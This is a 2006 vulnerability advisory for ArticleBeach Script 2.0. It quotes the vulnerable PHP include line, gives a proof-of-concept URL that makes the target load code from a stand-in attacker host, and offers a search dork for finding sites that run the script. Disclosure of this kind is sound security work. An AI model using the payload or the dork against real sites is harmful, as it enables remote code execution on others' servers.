ArticleBeach Script <= 2.0 Remote File Inclusion Vulnerability

ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability

Author : Zeni Susanto a.k.a Bithedz
Date Found : October, 22th 2006
Location : Indonesia, Bandung
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

Application     : ArticleBeach
version         : 2.0
vendor          : http://articlebeach.com
source url      : http://www.articlebeach.com/script/

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Description:
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Articlebeach is Your one-stop source for free articles. Do you need contents to add to your web site? Or articles for use on your opt-in newsletters and e-zines? ArticleBeach has scoured the web and indexed a huge collection of articles on various subjects. Just click on the appropriate category to read the articles.

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Vulnerability:
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I found vulnerability script in index.php

---------- index.PHP---------------------------------------------------------
include($_GET["page"].".php"); 
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Input passed to the "page" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
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http://target.com/[articlebeach_path]/index.php?page=http://attact.com/colok.txt?

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Solution:
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- download fix in vendor URL 

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google d0rk:
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"ArticleBeach"

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Contact:
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     Bithedz[at]gmail[dot]com
     
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